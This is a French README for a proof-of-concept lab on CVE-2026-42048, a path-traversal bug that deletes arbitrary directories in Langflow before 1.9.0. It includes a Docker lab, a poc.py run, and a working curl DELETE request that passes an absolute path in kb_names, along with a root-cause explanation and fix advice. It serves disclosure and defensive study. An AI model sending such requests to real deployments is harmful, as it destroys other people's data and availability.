
Langflow Suppression arbitraire de répertoires
CVE-2026-42048 Langflow — Preuve de concept (PoC) de traversée de chemin / suppression arbitraire de répertoire
https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de
CVE-2026-42048 : Vulnérabilité de suppression arbitraire de répertoire dans Langflow
description: Une vulnérabilité de traversée de chemin dans Langflow avant 1.9.0 permet à un attaquant authentifié de supprimer des répertoires en dehors du chemin de stockage prévu de la base de connaissances via le point de terminaison de suppression groupée, DELETE /api/v1/knowledge_bases. Le problème survient car les valeurs kb_names contrôlées par l'utilisateur sont utilisées pour construire des chemins du système de fichiers sans validation appropriée de normalisation et de confinement.
L'exploitation réussie nécessite les conditions suivantes :
1.9.0.DELETE /api/v1/knowledge_bases
PR:L).kb_names du corps de la requête.Cette vulnérabilité ne contourne pas les permissions du système de fichiers du système d'exploitation. Elle abuse de la gestion des chemins et de la logique de suppression de Langflow elle-même.
Construisez et exécutez l'environnement vulnérable avec Docker :
docker build -t cve-2026-42048 .
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048
curl http://127.0.0.1:9101/status
Le laboratoire crée un répertoire cible jetable à l'adresse :
/target/CVE-2026-42048
Le point de terminaison /status indique si ce répertoire existe toujours.
python3 poc.py
Saisie interactive :
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
-H "Content-Type: application/json" \
-d '{"kb_names":["/target/CVE-2026-42048"]}'
curl http://127.0.0.1:9101/status
Si l'exploitation réussit, target_exists passe de true à false.
Point de terminaison vulnérable
DELETE /api/v1/knowledge_bases
La vulnérabilité existe dans l'API de suppression groupée des bases de connaissances de Langflow. Le gestionnaire concerné accepte une liste de noms de bases de connaissances via le paramètre kb_names et utilise chaque valeur pour construire un chemin du système de fichiers à supprimer.
Dans les versions vulnérables, la logique de suppression groupée construit manuellement le chemin au lieu d'utiliser l'assistant de résolution de chemin plus sûr employé par les autres points de terminaison de bases de connaissances. Une représentation simplifiée du motif vulnérable est :
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username
for kb_name in request.kb_names:
kb_path = kb_user_path / kb_name
if not kb_path.exists() or not kb_path.is_dir():
continue
KBStorageHelper.delete_storage(kb_path, kb_name)
L'assistant de suppression finit par supprimer le répertoire cible avec une logique de suppression récursive. Comme kb_name est contrôlé par l'attaquant, des séquences de traversée de chemin telles que ../ peuvent sortir du répertoire de base de connaissances de l'utilisateur actuel. Dans pathlib de Python, un chemin absolu fourni sur le côté droit peut également remplacer les composants de chemin précédents :
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048
Par conséquent, une valeur kb_names spécialement conçue peut amener Langflow à supprimer un répertoire en dehors de la racine de stockage prévue de la base de connaissances, tant que le processus Langflow a la permission de supprimer ce répertoire.
C'est un problème de CWE-22 : limitation inappropriée d'un nom de chemin à un répertoire restreint.
La cause racine est une normalisation et une validation des limites insuffisantes des composants de chemin contrôlés par l'utilisateur avant la suppression récursive. Le point de terminaison de suppression groupée vulnérable vérifie si le chemin final existe, mais il ne garantit pas que le chemin résolu reste dans le répertoire de base de connaissances de l'utilisateur authentifié.
Un correctif robuste doit :
Path.resolve()Langflow a corrigé ce problème dans 1.9.0.
La suppression arbitraire de répertoires peut directement affecter l'intégrité et la disponibilité. Selon les permissions de déploiement et l'organisation du système de fichiers, un attaquant peut être en mesure de :
Ce problème ne nécessite pas d'exécution de code arbitraire pour être nuisible. La suppression récursive avec les privilèges de l'application suffit à endommager les données et la disponibilité.
+-------------------------------------------+
| Authenticated User |
+-------------------------------------------+
|
| DELETE /api/v1/knowledge_bases
| kb_names = ["/target/CVE-2026-42048"]
v
+-------------------------------------------+
| Langflow Knowledge Base API |
+-------------------------------------------+
|
| Unsafe path construction
v
+-------------------------------------------+
| Path Escapes Intended KB User Directory |
+-------------------------------------------+
|
| Recursive directory deletion
v
+-------------------------------------------+
| Arbitrary Directory Deletion |
+-------------------------------------------+
Ce laboratoire expose un petit proxy de défi sur le port 9101. Le proxy masque l'interface Langflow complète et le port backend direct, tout en transférant uniquement le chemin d'API vulnérable minimal requis pour cet exercice.
Le répertoire cible du laboratoire est :
/target/CVE-2026-42048
Le point de terminaison /status peut être utilisé pour confirmer que le répertoire cible a été supprimé.
docker stop cve-2026-42048
Ce dépôt n'est pas destiné à faciliter l'exploitation non autorisée d'instances Langflow. Le but de ce projet est d'aider les chercheurs en sécurité, les défenseurs et les développeurs à comprendre la vulnérabilité, à valider l'exposition dans des environnements contrôlés et à appliquer des mesures d'atténuation efficaces.
https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q